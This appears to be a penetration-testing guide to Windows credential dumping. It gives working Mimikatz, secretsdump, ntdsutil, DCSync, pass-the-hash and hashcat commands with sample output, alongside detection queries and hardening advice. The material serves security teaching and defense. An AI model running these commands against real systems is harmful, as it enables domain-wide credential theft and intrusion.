
Credential Dumping: LSASS and Windows Secrets
Windows credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials with defensive countermeasures.
Overview
LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for enforcing security policy, authenticating users, and managing credentials. Because Windows SSPs (Security Support Providers) such as WDigest, Kerberos, NTLM, and LiveSSP register with LSASS at authentication time, the process holds plaintext passwords, NTLM hashes, Kerberos tickets, and DPAPI master keys for every active logon session in its working memory. Any process with PROCESS_VM_READ access to lsass.exe, or SeDebugPrivilege to obtain it, can extract this credential material directly.
There are many ways in. Credential material is present in lsass even when WDigest is "disabled" post-KB2871997 because the Negotiate SSP still caches NTLM hashes. A full memory dump transferred offline can be parsed without any EDR exposure on the target. The SAM database stores local account hashes encrypted with the SYSTEM hive boot key, accessible offline after a shadow copy or direct registry export. On domain controllers, NTDS.dit is the directory database containing every domain account hash. One successful dump gives you the whole domain.
Protected Process Light (PPL) and Credential Guard (formerly Windows Defender Credential Guard) make this harder but don't stop it. PPL prevents standard OpenProcess calls against lsass. Credential Guard moves credential material into a VSM (Virtual Secure Mode) enclave so NTLM hashes for interactive sessions are isolated from the NT kernel entirely. Both have documented bypasses, which vary by OS version.
Authorization required
Credential dumping without written authorization is a crime in most jurisdictions. Check your scope covers it before you start.
Impact
- Full domain compromise from one NTDS.dit dump: every domain account hash, including krbtgt, which allows Golden Tickets
- Pass-the-Hash lateral movement using NTLM hashes extracted from LSASS or SAM
- Pass-the-Ticket lateral movement using Kerberos TGTs extracted from LSASS memory
- Offline password cracking of NTLM hashes using hashcat with rockyou or custom wordlists
- DPAPI master key recovery, which decrypts of browser-saved passwords, certificate private keys, and credential manager secrets
- Persistence through krbtgt hash (Golden Ticket valid for default 10-year max ticket life)
Technical details
LSASS memory layout
LSASS loads multiple SSP DLLs at startup. Each SSP maintains its own credential cache structures in lsass address space:
| SSP | Data | Location |
|---|---|---|
| WDigest | Plaintext password (cleartext when enabled) | wdigest.dll internal cache |
| Kerberos | TGTs, service tickets, session keys | kerberos.dll ticket cache |
| NTLM | NT hash, LM hash | msv1_0.dll logon sessions |
| LiveSSP | Microsoft account credentials | livessp.dll |
| TSPKG | Terminal Services credentials | tspkg.dll |
| CredSSP | Delegated credentials | credssp.dll |
The sekurlsa module in Mimikatz walks these structures by locating signature patterns in lsass memory, then dereferencing linked list pointers to enumerate logon sessions and extract cached credential material.
LSASS as a protected process (PPL)
Starting with Windows 8.1 and Server 2012 R2, Microsoft allows lsass to run as a PPL. The RunAsPPL registry value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa enables this. A PPL process has its integrity level and signer attribute validated by the kernel. A standard SYSTEM process attempting OpenProcess(PROCESS_VM_READ, ...) against a PPL lsass receives ERROR_ACCESS_DENIED because the requesting process does not hold a matching PPL certificate.
PPL bypass techniques fall into two categories: kernel driver injection (sign a driver or exploit a BYOVD), and abusing legitimate PPL-enabled processes (e.g., werfault.exe) to proxy access. PPLdump exploits an NtCreateProcessEx race condition to dump lsass without a signed driver on older Windows builds.
Credential Guard
Credential Guard uses Hyper-V-based virtualization to run the LSA Isolated service (lsaiso.exe) in VTL1 (Virtual Trust Level 1), separate from the normal OS at VTL0. NTLM and Kerberos credentials for interactive sessions are stored in VTL1 memory. The NT kernel at VTL0 cannot read VTL1 memory even with SYSTEM privileges.
With Credential Guard active, sekurlsa::logonpasswords still succeeds in listing logon sessions and extracting session metadata, but credential fields return null for domain accounts protected by the VSM enclave. The Negotiate SSP at VTL0 retains cached NTLM hashes for machine accounts and some service contexts, and those stay readable.
Attack tools
Direct LSASS access with Mimikatz
Get SeDebugPrivilege
Mimikatz must acquire SeDebugPrivilege before reading lsass. This privilege is held by default by local administrators but must be explicitly enabled for the process token.
mimikatz # privilege::debug
Privilege '20' OKIf running as SYSTEM (from a service exploit), SeDebugPrivilege is present and can be enabled directly.
Dump all logon sessions
mimikatz # sekurlsa::logonpasswordsExample output for a session with WDigest enabled:
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : jsmith
Domain : CORP
Logon Server : DC01
Logon Time : 6/23/2026 9:14:32 AM
SID : S-1-5-21-3874928736-2204358531-1942487662-1105
msv :
[00000003] Primary
* Username : jsmith
* Domain : CORP
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : c23415...
wdigest :
* Username : jsmith
* Domain : CORP
* Password : Summer2024!
kerberos :
* Username : jsmith
* Domain : CORP.LOCAL
* Password : (null)
ssp : KO
credman :Extract Kerberos tickets
mimikatz # sekurlsa::tickets /exportExports .kirbi files to the current directory for use with kerberos::ptt or Rubeus.
Dump LSASS without Mimikatz
Requires local administrator and debug privilege. Task Manager invokes MiniDumpWriteDump internally:
- Open Task Manager as Administrator
- Go to the Details tab
- Right-click
lsass.exe→ Create dump file - Default output:
%TEMP%\lsass.DMP
The dump file contains the full process memory, including all SSP credential caches. Transfer to attacker machine and parse offline.
PPL bypass
When RunAsPPL is enabled, the usual dump methods fail with access denied. Two ways around it:
PPLdump (itm4n) abuses an NtCreateProcessEx handle duplication path. Effective on Windows 10 before 21H2 with specific patch levels:
PPLdump.exe lsass.exe lsass.dmpCheck PPL status before attempting:
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPLRunAsPPL = 1 means PPL with the UEFI lock, and 2 means PPL without it (Windows 11 22H2 and later). Either way, on builds where PPLdump is patched you need a kernel driver.
SAM database extraction
The SAM hive stores local account NTLM hashes encrypted with the syskey derived from the SYSTEM hive. Both hives must be exported together:
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiveTransfer to attacker machine and parse with Impacket:
impacket-secretsdump -sam sam.hive -system system.hive LOCALOutput:
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x3c4a8b...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jsmith:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::The SAM hive is locked while Windows is running. Alternative access paths: VSS shadow copy, HiveNightmare/SeriousSAM (CVE-2021-36934) on vulnerable Windows 10/11 builds where BUILTIN\Users had read access to the SAM hive.
NTDS.dit extraction
NTDS.dit is the Active Directory database on domain controllers. It contains all domain account credentials. The file is locked by ntdsa.dll while the DC is running; access requires either VSS or ntdsutil IFM:
Create an IFM snapshot with ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds" q qThis creates a consistent VSS snapshot and copies ntds.dit and the SYSTEM registry hive to the target path without requiring you to stop AD DS.
Output tree:
C:\Windows\Temp\ntds\
├── Active Directory\
│ └── ntds.dit
└── registry\
├── SECURITY
└── SYSTEMTransfer and parse offline
impacket-secretsdump -ntds ntds.dit -system system.hive LOCALFor large environments, output to a file:
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL > domain_hashes.txtExtract NT hashes only for hashcat:
grep ':::' domain_hashes.txt | cut -d: -f4 | sort -u > nt_hashes.txtCrack or pass the hashes
Pass-the-hash with NT hash using Impacket:
impacket-psexec -hashes :32ed87bdb5fdc5e9cba88547376818d4 CORP/jsmith@192.168.1.10Crack with hashcat (mode 1000 = NTLM):
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt --rules /usr/share/hashcat/rules/best64.ruleRemote dump over the network
When you have administrative credentials but not interactive shell access:
Impacket's secretsdump can dump credentials remotely over SMB using the VSS or DRSUAPI (DCSync) methods:
impacket-secretsdump CORP/jsmith:'Summer2024!'@192.168.1.50DCSync against a domain controller (requires domain admin or replication privileges):
impacket-secretsdump -just-dc CORP/DomAdmin:'Password123!'@192.168.1.5impacket-secretsdump -just-dc-user Administrator CORP/DomAdmin:'Password123!'@192.168.1.5Detection
LSASS memory access (T1003.001)
Sysmon Event ID 10 (ProcessAccess) is the main detection source. The following query fires on any process opening lsass with read or full access:
SysmonEvent
| where EventID == 10
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in (
"0x1010", // PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
"0x1410", // common procdump mask
"0x1f0fff", // PROCESS_ALL_ACCESS
"0x143a" // Mimikatz sekurlsa mask
)
| where SourceImage !in (
"C:\\Windows\\System32\\werfault.exe",
"C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
"C:\\ProgramFiles\\Windows Defender\\MsMpEng.exe"
)
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccess, CallTraceCallTrace in Sysmon EID 10 identifies the call stack. Legitimate access shows paths through ntdll.dll and kernel32.dll. Mimikatz/procdump access typically shows UNKNOWN or unbacked memory regions if shellcode was used.
Windows Security event IDs for SAM and registry access:
| Event ID | Description |
|---|---|
| 4656 | Handle requested to an object (SAM or LSASS) |
| 4663 | Attempt to access an object (read of the SAM registry key) |
| 4624 + 4672 | Logon with sensitive privileges (SeDebugPrivilege assigned) |
| 7036 | Volume Shadow Copy Service state change |
NTDS.dit and ntdsutil detection
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\ntdsutil.exe"
| project TimeGenerated, Computer, SubjectUserName, CommandLineVSS snapshot creation by non-backup processes is anomalous:
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\vssadmin.exe"
or NewProcessName endswith "\\wbadmin.exe"
| where CommandLine has_any ("create shadow", "backup")
| project TimeGenerated, Computer, SubjectUserName, CommandLinecomsvcs.dll / rundll32 MiniDump
SysmonEvent
| where EventID == 1
| where Image endswith "\\rundll32.exe"
| where CommandLine has "MiniDump" or CommandLine has "comsvcs"
| project TimeGenerated, Computer, User, CommandLine, ParentImageRemediation
Credential Guard does the most. Enable via Group Policy: Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security. Requires UEFI, Secure Boot, and 64-bit hardware with VT-x/AMD-V. Check current status:
(Get-WmiObject -Class Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 2 = Credential Guard runningRun LSASS as PPL. With the UEFI lock (value 1), an attacker can't turn it off by editing the registry. The command below sets value 2, which has no UEFI lock:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 2 /fValue 2 enables PPL without the UEFI variable and is only enforced on Windows 11 22H2 and later. Use 1 to store the setting in a UEFI variable on devices with Secure Boot.
Disable WDigest plaintext caching on all systems running Windows 7 / Server 2008 R2 with KB2871997 applied:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /fRestrict SeDebugPrivilege to SYSTEM. By default, local admins have this privilege. Remove from the local Administrators group via Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs.
NTDS.dit hardening:
- Restrict ntdsutil and vssadmin execution to authorized backup service accounts only
- Enable advanced auditing on
HKLM\SAMandHKLM\SYSTEMregistry keys - Alert on
DRSUAPIreplication requests from non-DC machine accounts (DCSync detection) - Use a tiered admin model. Domain admin credentials should never touch Tier 1 or Tier 2 systems
Rotate krbtgt after any DC compromise. A single hash rotation is insufficient; Microsoft recommends two consecutive rotations 10 hours apart to invalidate all existing TGTs:
# Reset-KrbtgtKeyInteractive.ps1 from Microsoft
.\Reset-KrbtgtKeyInteractive.ps1References
MITRE ATT&CK techniques
- T1003.001 - OS Credential Dumping: LSASS Memory
- T1003.002 - OS Credential Dumping: Security Account Manager
- T1003.003 - OS Credential Dumping: NTDS
Tools
- Mimikatz - gentilkiwi's credential extraction tool
- pypykatz - Python Mimikatz implementation for offline dump parsing
- Impacket secretsdump - Remote and offline credential extraction
- PPLdump - PPL bypass for older Windows builds
- CrackMapExec - Network credential dumping automation
- Sysinternals ProcDump - Process memory dump utility
Next steps
Kerberoasting and AS-REP Roasting
Kerberoasting attack guide targeting AD service accounts. Extract and crack service tickets offline for privilege escalation and lateral movement.
Pass-the-Hash and Lateral Movement
Pass-the-Hash exploitation guide for lateral movement using NTLM hashes without cracking passwords.
BYOVD: Bring Your Own Vulnerable Driver
Loading a vulnerable signed driver on Windows to get kernel access, kill security software and bypass kernel protections.
SeDebugPrivilege Abuse
Abusing SeDebugPrivilege on Windows. LSASS dumping, process injection, token theft and escalation to SYSTEM, with detection and hardening.
Bring Your Own Vulnerable Driver (BYOVD)
Loading a vulnerable signed driver on Windows to get kernel access, kill security software and bypass kernel protections.
DLL Injection Techniques
DLL injection methods on Windows, covering classic LoadLibrary injection, manual mapping, reflective DLL injection and DLL hijacking, with detection and hardening.